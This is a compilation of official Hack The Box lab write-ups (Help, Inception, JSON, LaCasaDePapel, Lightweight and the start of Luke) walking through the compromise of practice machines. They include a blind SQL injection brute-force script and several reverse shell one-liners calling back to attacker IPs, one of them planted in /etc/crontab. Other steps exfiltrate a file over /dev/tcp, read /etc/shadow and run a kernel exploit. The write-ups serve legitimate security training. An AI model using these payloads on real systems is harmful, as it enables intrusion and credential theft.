http://10.10.10.121/support/?v=view_tickets&action=ticket&param[]=4&param[]
=attachment&param[]=1&param[]=6 and 1=1-- -

Sending this results in a true condition which returns the image but changing it to 1=2 doesn’t
because it evaluates to false. This confirms the SQLi vulnerability.

From the ​login controller​ we know the table name i.e staff and the columns username and
password. The password is stored as a SHA1 hash which a 40 characters long.

Page 8 / 15
Lets check if the username is admin.

http://10.10.10.121/support/?v=view_tickets&action=ticket&param[]=4&param[]
=attachment&param[]=1&param[]=6 and (select (username) from staff limit
0,1) = 'admin'-- -

This query returns the attachment that means it was true. In case the user wasn’t admin, for
example,

http://10.10.10.121/support/?v=view_tickets&action=ticket&param[]=4&param[]
=attachment&param[]=1&param[]=6 and (select (username) from staff limit
0,1) = 'dummy'-- -

It results in false and the page returns not found. Now we have a username and need to
determine the password. For this the password has to determined character by character upto 40
times. For this we can use the substr function which will loop character by character, example,

http://10.10.10.121/support/?v=view_tickets&action=ticket&param[]=4&param[]
=attachment&param[]=1&param[]=6 and substr((select password from staff
limit 0,1),1,1) = 'd'-- -

Which returns the attachment and confirms that the hash starts with d.

Page 9 / 15
This can be scripted.

#!/usr/bin/python
from​ requests ​import​ get
import​ string
cookies = { ​'lang'​ : ​'english'​, ​'PHPSESSID'​ : ​'se3q2q1vtvmb71acq5i16ajtf1'​,
'usrhash'​ :
'0Nwx5jIdx+P2QcbUIv9qck4Tk2feEu8Z0J7rPe0d70BtNMpqfrbvecJupGimitjg3JjP1UzkqY
H6QdYSl1tVZNcjd4B7yFeh6KDrQQ/iYFsjV6wVnLIF%2FaNh6SC24eT5OqECJlQEv7G47Kd65yV
LoZ06smnKha9AGF4yL2Ylo%2BHDu89nyBt7elyC8vIIYgpCcpqa%2BUhLVh9kcZWIcDfKPw=='
}
url = ​'http://10.10.10.121/support/?v='
chars = list(string.ascii_lowercase) + list(string.digits)
password = []
k = ​1
while​( k <= ​40​ ):
for​ i ​in​ chars:
payload = url +
"view_tickets&action=ticket&param[]=4&param[]=attachment&param[]=1&param[]=
6 and substr((select password from staff limit 0,1),{},1) = '{}'--
-"​.format(k, i)
resp = get( payload, cookies = cookies)
if​ ​"404"​ ​not​ ​in​ resp.content:
password.append(i)
print​ ​"Password: "​ + ​''​.join(password)
k = k + ​1
break

Copy your cookies from burp into the script, then run it. The script checks the hash character by
character, if a character is found the count is incremented and moved to the next one.

$ python brute.py
Password: d
Password: d3
Password: d31
---------------------- SNIP ----------------------
Password: d318f44739d
Password: d318f44739dc
Password: d318f44739dce

Page 10 / 15
Password: d318f44739dced
Password: d318f44739dced6
Password: d318f44739dced66
---------------------- SNIP ----------------------
Password: d318f44739dced66793b1a603028
Password: d318f44739dced66793b1a6030281
Password: d318f44739dced66793b1a60302813
---------------------- SNIP ----------------------
Password: d318f44739dced66793b1a603028133a76ae68
Password: d318f44739dced66793b1a603028133a76ae680
Password: d318f44739dced66793b1a603028133a76ae680e

Running the script finds the complete password hash i.e


“d318f44739dced66793b1a603028133a76ae680e”. Checking this on HashKiller cracks it as
Welcome1.

Similarly the email has to be found out. The script would need minor adjustments. Extend the
character set to include @, _, . and change the column name to email.

chars = list(string.ascii_lowercase) + list(string.digits) + [​'@'​, ​'_'​,


'.'​]

Run the script again to get the email.

$ python brute.py
Email: s
Email: su
Email: sup
Email: supp
-------------- SNIP ---------------
Email: [email protected]
Email: [email protected]

Page 11 / 15
Now we have the credentials for admin i.e [email protected] / Welcome1. We can login to
SSH. The username needs to be guessed which is “help”.

ssh help@​10.10.10.121 # password: Welcome1

ALTERNATE METHOD

Earlier we found the HelpDesk version to be vulnerable to arbitrary file upload too. So we could
possibly upload a php reverse shell and trigger it.

Download the exploit script from ​here​ and the php reverse shell from h
​ ere​. The script exploits the
lack of randomness in the name of the uploaded file as it is based on time. So by quickly brute
forcing the md5 hash at the same time we can discover the renamed file. But before that we
need to figure out the upload location. Going back to the github page to the
submit_ticket_controller.php​ we find this snippet,

The file gets moved to $uploaddir which is UPLOAD_DIR . ‘tickets/’ where UPLOAD_DIR is the
global upload directory i.e /uploads defined at

Page 12 / 15
https://github.com/evolutionscript/HelpDeskZ-1.0/blob/006662bb856e126a38f2bb76df44a2e4e3
d37350/includes/global.php#L18​.

Now that we know the upload location, navigate to the Submit a Ticket page and create a ticket.
Change the IP Address and port in the php script and upload it.

The page returns an error saying “File is not allowed” but the file is already uploaded before the
extension check takes place, if we quickly run the script,

python 40300.py http://10.10.10.121/support/uploads/tickets/


php-reverse-shell.php

It finds the file and hitting it gives a shell.

Get a tty shell using python,

python -c ​"import pty;pty.spawn('/bin/bash')"

Page 13 / 15
Note: Due to timezones the exploit might not work out of the box. This can be fixed by changing
local time to that of the server. The server’s time can be seen in HTTP Response.

PRIVILEGE ESCALATION

On enumerating the box the kernel version is found to be 4.4.0-116-generic. A google search
results in a ​kernel exploit​ for the version.

Download the exploit and compile it locally.

gcc exploit.c -o exploit

Start a simple http server and transfer it to the box then execute it.

python3 -m http.server 80 # Locally


cd​ /tmp
wget 10.10.14.2/exploit
chmod +x exploit
./exploit

Page 14 / 15
The exploit directly results in a root shell.

Page 15 / 15
Inception
13​th​ April 2018 / Document No D18.100.02
Prepared By: Alexander Reid (Arrexel)
Machine Author: rsp3ar
Difficulty: ​Hard
Classification: Official

Page 1 / 10
SYNOPSIS
Inception is a fairly challenging box and is one of the few machines that requires pivoting to
advance. There are many different steps and techniques needed to successfully achieve root
access on the main host operating system. Good enumeration skills are an asset when
attempting this machine.

Skills Required Skills Learned

● Advanced knowledge of Linux ● Identifying vulnerable services


● Understanding of various pivot ● Bypassing restrictive network filtering
techniques ● Advanced local enumeration
techniques
● Enumerating services using a pivot
machine

Page 2 / 10
Enumeration

Nmap

Nmap reveals an Apache server and a Squid proxy server.

Page 3 / 10
Squid

The Squid proxy running on port 3128 requires no authentication. By adding it to


proxychains.conf (http 10.10.10.67 3128), it is possible to force the server to run a port scan locally.

The port scan reveals SSH running on port 22.

Page 4 / 10
Exploitation

dompdf

Inspecting the source of the default website on port 80 reveals a reference to ​dompdf​.

Browsing to ​/dompdf​ reveals a copy of dompdf that is vulnerable to local file inclusion (v0.6.0).
The version can be easily identified by viewing the ​VERSION​ file.

Page 5 / 10
Exploit: ​https://www.exploit-db.com/exploits/33004/

Using the exploit is fairly trivial. Using php://filter, it is possible to base64-encode a file on the
target and add its contents to the generated PDF file. With this technique, it is possible to obtain
the Apache default site configuration file from ​/etc/apache2/sites-enabled/000-default.conf

The default site configuration reveals the path to a webdav installation, as well as the local path
to the webdav credentials. The credentials can be obtained using the same technique from
/var/www/html/webdav_test_inception/webdav.passwd

After obtaining the credentials, the hash can be easily cracked using Hashcat or John The Ripper
with the rockyou.txt wordlist.

Page 6 / 10
Webdav

Using the previously obtained credentials, it is possible to log into the webdav instance at
/webdav_test_inception​, however it returns 403 forbidden. Using the same credentials, it is
possible to upload a PHP script to the webdav directory to obtain remote code execution. This
can be achieved multiple different ways, however using cURL is likely the easiest.

While an advanced web-based shell is not required, it greatly simplifies things moving forward as
it is not possible to open a traditional reverse connection. It is also possible to obtain an
interactive shell using named pipes, but that technique is a bit overkill for what is required on this
machine.

The user flag can be obtained from ​/home/cobb/user.txt

Page 7 / 10
Privilege Escalation

Cobb

A bit of searching reveals some database credentials at ​wordpress_4.8.3/wp-config.php​ in the


public web directory, however MySQL is not running on the target.

Using the password with the username ​cobb​ (which can be obtained from /etc/passwd) on SSH
over proxychains immediately grants a shell. Running ​sudo -l​ reveals that cobb has full sudo
access, and root can be obtained with the command ​sudo su -

Page 8 / 10
Root

Nmap binary: ​https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/

Running LinEnum or other enumeration scripts do not reveal much in this instance. The most
important information is that the machine appears to be running on​ 192.168.0.10​. This, combined
with the absence of a flag in root.txt, indicates that the machine is likely running in some type of
container.

A bit of searching finds that the gateway (​192.168.0.1​) can be accessed from the container. At this
point, it is easier to transfer an nmap binary to the target and run the scan directly from the
container/guest operating system. To make uploading easier, the webdav exploit can be used
again.

Running nmap reveals several services running on the gateway, including FTP, SSH and a
nameserver.

Page 9 / 10
Attempting to connect via FTP quickly reveals that anonymous login is enabled, and limited ability
to read files is gained. A bit of searching finds ​/etc/default/tftpd-hpa

Accessing the host machine via TFTP allows access to additional files which are not accessible
over FTP. Most notably ​/etc/crontab​, which has been modified from the default. The crontab is
set to run apt update every 5 minutes. Uploading a malicious apt config will force the specified
script to run, which can be used to obtain the root flag or a reverse connection.

Page 10 / 10
JSON
07th February 2020 / Document No D20.100.58

Prepared By: MinatoTW

Machine Author(s): cyb3rb0b

Difficulty: Medium

Classification: Official
Synopsis
JSON is a medium difficulty Windows machine running an IIS server with an ASP.NET application.
The application is found to be vulnerable to .NET deserialization, which is exploited using
ysoserial.net. A custom .NET program is found to be installed, which on reverse engineering
reveals encrypted credentials for an administrator. These credentials can be decrypted and used
to gain access to the FTP folder.

Skills Required
Enumeration
Deserialization
Reverse Engineering

Skills Learned
Using ysoserial.net
dnSpy
Enumeration
Nmap

ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.158 | grep ^[0-9] | cut -d '/' -f


1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV 10.10.10.158

A full-port Nmap scan reveals a Windows box running FTP and IIS servers on their default ports.
Nmap finds the OS version to be Windows 2008 R2 or 2012. WinRM is found to be open on port
5985, which could help with lateral movement later.

IIS
A login page can be found on browsing to port 80.
The following request can be observed after turning on Burp intercept and trying to login.

After attempting to login using common credentials such as admin/admin , we gain access to the
dashboard.

Going back to the Burp, a GET request to /api/Account is observed.


The request contains a Bearer header with a base64 encoded value. The same value is observed
in the OAuth2 cookie. Let's decode it and look at the contents.

It appears to be JSON used by the server to identify the user. Let's try changing the values by
adding quotes to check if some kind of SQL injection is possible.

Single quotes are added to the Id and UserName values. Send the request to Repeater, and
swap the existing token with the forged one.

The server returns a 500 Internal Server Error , which states that the JSON.Net object can't
be deserialized. This informs us about two things; that the API is written in ASP.NET, and that the
server deserializes JSON objects that is receives. Searching for vulnerabilities related to JSON.Net
deserialization, we come across ysoserial.net, which can generate .NET deserialization payloads.

Download the binary from the releases section and run it on a Windows box. Let's create a
payload to ping ourselves from the box.

The payload format is set to Json.Net and the gadget type is ObjectDataProvider . The -c flag
is used to specify the command to execute and the output format is set to base64. Copy the
generated payload and place it as the Bearer value in the HTTP request. Before sending the
request, start an ICMP listener using tcpdump .
The server throws an error in the response, but ICMP requests can be observed on the tcpdump
listener.
Foothold
Having confirmed code execution, we can try getting a reverse shell on the box. We can use a
netcat binary to send a reverse shell to ourselves. Start an smbserver locally to host the binary.

Next, copy the nc.exe binary to the current folder, and create a JSON.Net payload for the
command:

\\\\10.10.14.6\\share\\nc.exe 10.10.14.6 443 -e cmd.exe

The command above uses nc.exe present on our share to send a reverse shell to port 443.

Swap the older payload with the newly generated one and forward the request, after which a
shell as userpool should be received.
Privilege Escalation
Looking at the installed programs, a program named Sync2Ftp is found to be installed.

The folder is found to contain a binary and configuration file. These could be of interest as the
application isn't standard, and could be user defined. Copy these files to the SMB share running
on our host.

Running file on the binary reveals that it's a .NET executable. The config file is found to contain
some encrypted fields and configuration values.

<?xml version="1.0" encoding="utf-8" ?>


<configuration>
<appSettings>
<add key="destinationFolder" value="ftp://localhost/"/>
<add key="sourcefolder" value="C:\inetpub\wwwroot\jsonapp\Files"/>
<add key="user" value="4as8gqENn26uTs9srvQLyg=="/>
<add key="minute" value="30"/>
<add key="password" value="oQ5iORgUrswNRsJKH9VaCw=="></add>
<add key="SecurityKey" value="_5TL#+GWWFv6pfT3!GXw7D86pkRRTv+$$tk^cL5hdU%"/>
</appSettings>
<startup>
<supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.7.2" />
</startup>
</configuration>

dnSpy can used to reverse and analyze .NET executables. Open up the binary in dnSpy x86 and
analyze the SyncLocation assembly.
Looking at the Main method, it's seen the binary creates a new service and registers the
Service1 object. Let's look at the Service1 class next.

The Start method ends up calling the Copy method.

The Copy method reads various values from the configuration file and then decrypts them using
the Crypto class. It then uses the FTP STOR command to transfer all files in the the
sourcefolder path to the FTP folder. Let's look at how the values are encrypted and decrypted.
The Encrypt method takes in two arguments, i.e. the string to encrypt and boolean value. It
reads the SecurityKey value from the config file, and hashes it using MD5 if useHashing is set
to true. The plaintext value is then encrypted using the 3DES encryption algorithm in ECB mode
with PKCS7 padding, and returned base64 encoded.

Similarly, the Decrypt method reads the key and hashes it based on the boolean value. It then
uses the 3DES algorithm to decrypt and return the plaintext string. Let's write a small python
script to decrypt this manually.

from pyDes import *


from base64 import b64decode
from hashlib import md5

key = b"_5TL#+GWWFv6pfT3!GXw7D86pkRRTv+$$tk^cL5hdU%"
hashedKey = md5(key).digest()

desKey = triple_des(hashedKey, ECB, padmode = PAD_PKCS5)

usernameData = b64decode("4as8gqENn26uTs9srvQLyg==")
username = desKey.decrypt(usernameData)

print(f"Username:
{username.decode()}")

passwordData = b64decode("oQ5iORgUrswNRsJKH9VaCw==")
password = desKey.decrypt(passwordData)

print(f"Password:
{password.decode()}")

The script uses the pyDes library to decrypt the username and password from the config file. The
securityKey is hashed using the MD5 algorithm. The decryption key is created using the
triple_des method, which is used to decrypt the username and password respectively.

Running the script returns the username superadmin and password funnyhtb . Let's try logging
into FTP with these credentials.

The login was successful and can be used to read the root flag.

Alternate Method
As the userpool user is a service account, it holds the SeImpersonate privilege.

We can leverage this privilege on Windows server 2012 by using the Juicy Potato exploit.
Download the binary from releases, and place it in the share. Next, copy JuicyPotato.exe as well
as nc.exe to the Public folder.
Create a bat file with a reverse shell command such as:

C:\Users\Public\nc.exe 10.10.14.7 4444 -e cmd.exe

A list of CLSIDs for Windows Server 2012 can be found here. Any CLSID belonging to NT
AUTHORITY\SYSTEM can be used.

A shell as SYSTEM should be received on port 4444.


LaCasaDePapel
11​th​ May 2019 / Document No D19.100.32
Prepared By: MinatoTW
Machine Author: Thek
Difficulty: ​Easy
Classification: Official

Page 1 / 13
SYNOPSIS
LaCasaDePapel is an easy difficulty Linux box, which is running a backdoored vsftpd server. The
backdoored port is running a PHP shell with disabled_functions. This is used to read a CA
certificate, from which a client certificate can be created. The HTTPS page is vulnerable to LFI,
leading to exposure of SSH keys. A configuration file can be hijacked to gain code execution as
root.

Skills Required Skills Learned

● Enumeration ● Linux inode knowledge


● Creating client certificates

Page 2 / 13
ENUMERATION

NMAP
ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.131 | grep ^[0-9] | cut -d
'/'​ -f 1 | tr ​'\n'​ ​','​ | sed s/,$//)
nmap -p​$ports​ -sC -sV 10.10.10.131

There’s vsftpd running on port 21 along with HTTP and HTTPS on their respective ports.

Page 3 / 13
HTTP

Navigating to port 80 we find a page which needs an OTP supplied by a QRCode. The page asks
us to install ​Google Authenticator

Scanning the code using Google Authenticator on an Android phone gives us a code but it
refuses to work either way. So, maybe it’s for internal users only. Let’s keep this aside and come
back later.

HTTPS

Browsing to HTTPS shows us an error that we need a client certificate to continue which we don’t
possess at the moment.

Page 4 / 13
VSFTP

As seen from nmap, VSFTP is version 2.3.4. A quick google search about it yields ​this​. It seems
that this version was backdoored. Let’s try to replicate the exploit code.

The code just tries a failed login, which triggers the backdoor on port 6200 and then executes
commands from it. Let's do that using a small python script.

import​ socket
import​ os
import​ time

def​ ​exploit​(ip, port):


sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((ip, port))

sock.send(​'USER :)\n'​)
sock.send(​'PASS HTBPass\n'​)
time.sleep(​2​)
sock.close()

os.system(​"rlwrap nc 10.10.10.131 6200 -v"​)

exploit(​"10.10.10.131"​, ​21​)

The code is pretty simple, it just creates a connection to the FTP port, sends in commands and
then quickly connects to the backdoored port at 6200. Running the script,

We see that instead of being a system shell it’s a Psy shell. Searching about the Psy Shell we find
that it’s an ​interactive debugger​ for PHP. So this should allow us to execute PHP commands.

Page 5 / 13
PSY SHELL

Let’s try executing system commands using the `cmd` operator.

We find that shell_exec is disabled which prevents us from executing system commands.
However we can still list directories and read files using scandir() and file_get_contents().

print_r(scandir(​"/"​))

echo​ file_get_contents(​"/etc/passwd"​)

Page 6 / 13
We already know that we need a client certificate to access the service on HTTPS. In order to
create one we need the CA certificate. Let’s find it.

Looking at the home folders of the users we see five users.

Let’s inspect each one of them. After some enumeration we see ca.key in /home/nairobi.

Let’s read its contents and copy it into a file.

Page 7 / 13
CREATING CLIENT CERTIFICATE

Now that we have the CA certificate let’s create a client certificate for ourselves. To create it first
download the server certificate. Navigate to ​https://10.10.10.131​, then click on the lock icon on the
URL bar.

And then Connection > More Information > View Certificate. Then in the popup window click on
Details > Export.

Export and save it in the folder.

Then follow these steps to create the certificate,

openssl genrsa -out client.key 4096


openssl req -new -key client.key -out client.req
openssl x509 -req -​in​ client.req -CA lacasadepapelhtb.crt -CAkey ca.key
-set_serial 101 -extensions client -days 365 -outform PEM -out client.cer
openssl pkcs12 -export -inkey client.key -in client.cer -out client.p12
rm client.key client.req client.cer

You should be left with a .p12 file which is the certificate.

Page 8 / 13
Now upload the client.p12 to the browser’s store. In firefox, go to Preferences > Privacy & Security
> View Certificates. Then in the Your Certificates section click on Import and import the cert.

Navigating to the page now should prompt for certificate selection, and we should get into the
private area.

Clicking on a season takes us to a video downloader. The link to the folder is like,
https://10.10.10.131/?path=SEASON-2

Let's change it to see if we can traverse folders.

Page 9 / 13
https://10.10.10.131/?path=../

We see that it’s possible to traverse folders.

Looking at the URL to download the videos, it’s of the form.

https://10.10.10.131/file/U0VBU09OLTIvMDEuYXZp

Decoding the base64 part we see that it’s a path to the video,

Let's change it to ../.ssh/id_rsa to see if it works.

echo​ -n ​'../.ssh/id_rsa'​ | base64

The -n flag is to avoid the new line.

Page 10 / 13
FOOTHOLD

Now let’s try the path to read id_rsa.

curl -k https://10.10.10.131/file/Li4vLnNzaC9pZF9yc2E=

We see that it worked and we have the private key. Copy it to a file and use it to ssh in. As we
don’t know the username yet, we’ll try each one from the list we obtained earlier.

Trying each one of them we find that the key belongs to “professor”.

Page 11 / 13
PRIVILEGE ESCALATION
Let’s enumerate the running crons using ​pspy​.

wget
https://github.com/DominicBreuker/pspy/releases/download/v1.0.0/pspy32s
scp -i key pspy64s [email protected]:/tmp/pspy
ssh -i key [email protected]
cd​ /tmp
chmod +x pspy
./pspy

After running it for a while we find this,

The file is located in our home folder, let’s check it out.

We see that it’s owned by root, but we don’t have read or write permissions to it. However,
there’s another file named memcached.ini which is readable. Let’s see what it has,

It looks like it’s the configuration used by supervisord, which handles the services, and we see
the command we saw earlier using pspy.

Page 12 / 13
Even though we can’t write to the file, we own the folder or the ​inode​. An inode is a data
structure which stores the file and folder information. Using this to our advantage we can rename
the file. Renaming a file just changes the inode mapping and not it’s permissions.

mv memcached.ini ini.bak
ls -la ini.bak

We see that the file permissions are the same, and only the file is renamed. Let’s create a script
which sends us a reverse shell.

cd​ /tmp
echo​ ​'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.32
1234 >/tmp/f'​ >> shell.sh
chmod +x shell.sh

Now go back to our home folder and create a new memcached.ini with the following contents.

[program:memcached]
command​ = su -c /tmp/shell.sh

Now when the cron runs the next time, we should have a root shell.

And we have a root shell.

Page 13 / 13
Lightweight
27​th​ April 2019 / Document No D19.100.17
Prepared By: MinatoTW
Machine Author: 0xEA31
Difficulty: ​Medium
Classification: Official

Page 1 / 16
SYNOPSIS
Lightweight is a pretty unique and challenging box which showcases the common mistakes made
by system administrators and the need for encryption in any kind protocol used. It deals with the
abuse of Linux capabilities which can be harmful in bad hands and how unencrypted protocols
like LDAP can be sniffed to gain information and credentials.

Skills Required Skills Learned

● Linux Enumeration ● Passive Sniffing


● LDAP Enumeration ● Abusing Linux Capabilities

Page 2 / 16
ENUMERATION

NMAP
ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.119 | grep ^[0-9] | cut -d
'/'​ -f 1 | tr ​'\n'​ ​','​ | sed s/,$//)
nmap -p​$ports​ -sC -sV 10.10.10.119

LDAP ANONYMOUS BIND


Enumerating LDAP by using anonymous bind. The base dn used will be “dc=lightweight,dc=htb”
as reported by nmap scan. The results contain quite a number of objects consisting of usernames
ldapuser1 and ldapuser2 along with their encrypted hashes.

ldapsearch -h 10.10.10.119 -x -b ​"dc=lightweight,dc=htb"

The flag -h is used to specify the host, -x to specify anonymous bind and -b to mention the
Basedn to use.

Page 3 / 16
root@Ubuntu:~/Documents/HTB/Lightweight​# ldapsearch -h 10.10.10.119 -x -b
"dc=lightweight,dc=htb"
# extended LDIF
#

# LDAPv3

# base <dc=lightweight,dc=htb> with scope subtree


# filter: (objectclass=*)

# requesting: ALL

# lightweight.htb

dn: dc=lightweight,dc=htb
objectClass: top

objectClass: dcObject
objectClass: organization
o: lightweight htb

dc: lightweight

# Manager, lightweight.htb
dn: cn=Manager,dc=lightweight,dc=htb
objectClass: organizationalRole
cn: Manager

description: Directory Manager

# People, lightweight.htb
dn: ou=People,dc=lightweight,dc=htb

Page 4 / 16
objectClass: organizationalUnit
ou: People

# Group, lightweight.htb
dn: ou=Group,dc=lightweight,dc=htb
objectClass: organizationalUnit
ou: Group

# ldapuser1, People, lightweight.htb


dn: uid=ldapuser1,ou=People,dc=lightweight,dc=htb
uid: ldapuser1
cn: ldapuser1
sn: ldapuser1
mail: [email protected]
objectClass: person
objectClass: organizationalPerson
objectClass: inetOrgPerson
objectClass: posixAccount
objectClass: top
objectClass: shadowAccount
userPassword::
e2NyeXB0fSQ2JDNxeDBTRDl4JFE5eTFseVFhRktweHFrR3FLQWpMT1dkMzNOd2R
oai5sNE16Vjd2VG5ma0UvZy9aLzdONVpiZEVRV2Z1cDJsU2RBU0ltSHRRRmg2ek1vNDFaQS4vND
Qv
shadowLastChange: 17691
shadowMin: 0
shadowMax: 99999
shadowWarning: 7
loginShell: /bin/bash
uidNumber: 1000
gidNumber: 1000
homeDirectory: /home/ldapuser1

# ldapuser2, People, lightweight.htb


dn: uid=ldapuser2,ou=People,dc=lightweight,dc=htb
uid: ldapuser2
cn: ldapuser2
sn: ldapuser2
mail: [email protected]

Page 5 / 16
objectClass: person
objectClass: organizationalPerson
objectClass: inetOrgPerson
objectClass: posixAccount
objectClass: top
objectClass: shadowAccount
userPassword::
e2NyeXB0fSQ2JHhKeFBqVDBNJDFtOGtNMDBDSllDQWd6VDRxejhUUXd5R0ZRdms
zYm9heW11QW1NWkNPZm0zT0E3T0t1bkxaWmxxeXRVcDJkdW41MDlPQkUyeHdYL1FFZmpkUlF6Z2
4x
shadowLastChange: 17691
shadowMin: 0
shadowMax: 99999
shadowWarning: 7
loginShell: /bin/bash
uidNumber: 1001
gidNumber: 1001
homeDirectory: /home/ldapuser2

# ldapuser1, Group, lightweight.htb


dn: cn=ldapuser1,ou=Group,dc=lightweight,dc=htb
objectClass: posixGroup
objectClass: top
cn: ldapuser1
userPassword:: e2NyeXB0fXg=
gidNumber: 1000

# ldapuser2, Group, lightweight.htb


dn: cn=ldapuser2,ou=Group,dc=lightweight,dc=htb
objectClass: posixGroup
objectClass: top
cn: ldapuser2
userPassword:: e2NyeXB0fXg=
gidNumber: 1001

# search result
search: 2
result: 0 Success

Page 6 / 16
# numResponses: 9
# numEntries: 8

APACHE - PORT 80
On port 80 there’s a website which prevents bruteforcing so that we can’t use tools like gobuster
or dirbuster.

The status tab lists the IP addresses blocked by the server and the user tab automatically adds a
user on the box with username and password equal to our IP address.

Page 7 / 16
FOOTHOLD

With the credentials provided it’s possible to login to the box using ssh.

ssh [email protected]
#password: 10.10.16.25

This lands us into a low privilege shell restricted by SELinux.

ENUMERATION

After gaining a shell LinEnum.sh is executed with thorough mode enabled to enumerate the box.

cd​ /tmp
wget 10.10.16.25/LinEnum.sh
bash LinEnum.sh -t 1

On running the script an unusual binary is seen with it’s capability bit set. Linux capabilities is a
feature which helps System Administrators to give a binary certain permissions which are needed
to perform daily tasks without giving a user root permissions or making it a setuid binary. To read
more refer to the manpage i.e “man capabilities” or visit this page -
http://man7.org/linux/man-pages/man7/capabilities.7.html​ .

The binary is tcpdump which is supposed to be run as root as it needs raw socket access.

Page 8 / 16
The binary tcpdump has cap_net_admin,cap_net_raw+ep capabilities enabled.

getcap /usr/sbin/tcpdump

According to the man page cap_net_admin provides the ability to perform network related
operations whereas cap_net_raw allows binding to ports and creating raw packets. The option
ep stands “effective and permitted” using a + sign means adding the capability.

This privilege can be abused by sniffing OpenLDAP traffic as it uses unencrypted connections in
order to find credentials or information from bind requests.

tcpdump -i lo port 389 -w capture.cap -v

The -i flag is used to specify the interface to sniff which is localhost in this case. We sniff on port
389 and turn on verbose to see the captured packets. Let it run for 5 - 10 minutes and then
transfer it over to inspect.

Page 9 / 16
It sniffed 11 packets valid for our filter. Transfer it and open it in wireshark.

scp [email protected]:/tmp/capture.cap capture.cap


wireshark capture.cap

It shows ldapuser2 making a bindRequest to localhost which succeeds.

Right click on the packet > Follow > TCP Stream.

Set the direction towards port 389. The password for ldapuser2 got captured in clear text as
“​8bc8251332abe1d7f105d3e53ad39ac2​” ​as there was no encryption enabled.

Page 10 / 16
LATERAL MOVEMENT
The password gained by sniffing can be used to su as ldapuser2.

su - ldapuser2

CRACKING THE ZIP

There’s backup.7z in the folder which is transferred locally to examine.


cat backup.7z > /dev/tcp/10.10.16.25/4444
# On attacker box
nc -lvp 4444 > backup.7z

Page 11 / 16
On trying to extract the files it is found to be password protected. The password for ldapuser2
doesn’t work. So let’s try to crack it using john and rockyou.txt.

The program 7z2john.pl from John-the-ripper suite helps in creating a hash for the 7z archive.

cpan Compress::Raw::Lzma # Dependency


7z2john.pl backup.7z > ​hash
john --format=7z --wordlist=rockyou.txt hash

In a couple of minutes the password should be cracked and it’s “delete”. Extracting the contents
results in few php files which are running on the server.
7z x backup.7z ​# password : delete

Page 12 / 16
On examining the files, the file status.php contained the logic responsible for interacting with the
LDAP server from which we obtain the password for ldapuser1.

Now we can login as ldapuser1 with the password we just obtained.

Page 13 / 16
PRIVILEGE ESCALATION

LINUX CAPABILITIES

After logging in as ldapuser1 enumeration is done using LinEnum.sh or even manually. Listing the
binaries with capabilities enabled fetches a new binary.

We notice openssl apart from the others which we had found earlier. The capability set ep as
discussed earlier stands for “effective and permitted” but there is no other capability attached to
it. From the manpages,

So by assigning empty capability to openssl it gets the permission to execute at uid 0.

Page 14 / 16
Lets try to read a privileged file using openssl like /etc/shadow.

./openssl base64 -​in​ /etc/shadow | base64 -d

It can be seen that openssl was able to read the shadow file due to it’s capabilities set even when
we are a normal user.

GETTING A SHELL AS ROOT


Now that we can read and write to files, we can overwrite a sensitive file like /etc/crontab with a
reverse shell to execute as root.

cd​ /tmp
cp /etc/crontab .
echo​ ​'* * * * * root /bin/bash -i >& /dev/tcp/10.10.16.25/4444 0>&1'​ >>
crontab
base64 crontab > crontab.b64
/home/ldapuser1/openssl enc -d -base64 -​in​ crontab.b64 -out /etc/crontab

Page 15 / 16
And as expected the /etc/crontab gets overwritten by our version.

And a shell should be received within a minute.

Page 16 / 16
Luke
26​th​ May 2019 / Document No D19.100.40
Prepared By: MinatoTW
Machine Author: H4d3s
Difficulty: ​Medium
Classification: Official

Page 1 / 13
SYNOPSIS
Luke is a medium difficulty Linux box featuring server enumeration and credential reuse. A
configuration file leads to credential disclosure, which can be used to authenticate to a NodeJS
server. The server in turn stores user credentials, and one of these provides access to a
password protected folder containing configuration files. From this, the Ajenti password can be
obtained and used to sign in, and execute commands in the context of root.

Skills Required Skills Learned

● Enumeration ● NodeJs enumeration

Page 2 / 13
ENUMERATION

NMAP
ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.137 | grep ^[0-9] | cut -d
'/'​ -f 1 | tr ​'\n'​ ​','​ | sed s/,$//)
nmap -p​$ports​ -sC -sV 10.10.10.137

FTP is open with anonymous access allowed. There are two apache web servers running on port
80 (hosting the Ajenti which is a server management application) and 8000. Port 3000 is running
a Node server with Express framework.

Page 3 / 13
FTP

Logging into FTP as anonymous we find a folder with a text file. Download it using GET.

Dear Chihiro !!

As you told me that you wanted to learn Web Development and Frontend, I can
give you a little push by showing the sources of
the actual website I​'ve created .
Normally you should know where to look but hurry up because I will delete
them soon because of our security policies !

Derry

The note says that he placed the source code somewhere on the server.

Page 4 / 13
HTTP

Browsing to port 80 we see a normal web application.

GOBUSTER

Gobuster is ran with the medium dirbuster wordlist and PHP extension. We’ll also search for 401
unauthorized codes in case of basic auth pages.

gobuster -w directory-list-2.3-medium.txt -u http://10.10.10.137/ -t 150 -x


php -s ​"200,204,301,302,307,403,401"

Page 5 / 13
We see login.php and config.php files. Let’s see what config.php holds.

It contains the PHP code to establish a database connection. Let’s check login.php.

It’s a normal login page and trying the credentials from config.php fails. Let’s check out
/management now.

Page 6 / 13
This needs us to authenticate in order to view the content. Let’s save this for later. Apart from
these, there’s a /member directory which is empty.

NODE SERVER
Navigating to port 3000 we receive an error message.

This is due to the absence of the Authorization header with a JWT cookie.

GOBUSTER

Let’s run gobuster on port 3000 to discover any other paths.

gobuster -w directory-list-2.3-medium.txt -u http://10.10.10.137:3000/ -t


150 -s ​"200,204,301,302,307,403,401"

We see /login and /users. Let’s see what they contain.

Page 7 / 13
Going to /login we see a message “please auth”.

Let’s try sending it a POST request with curl with some credentials.
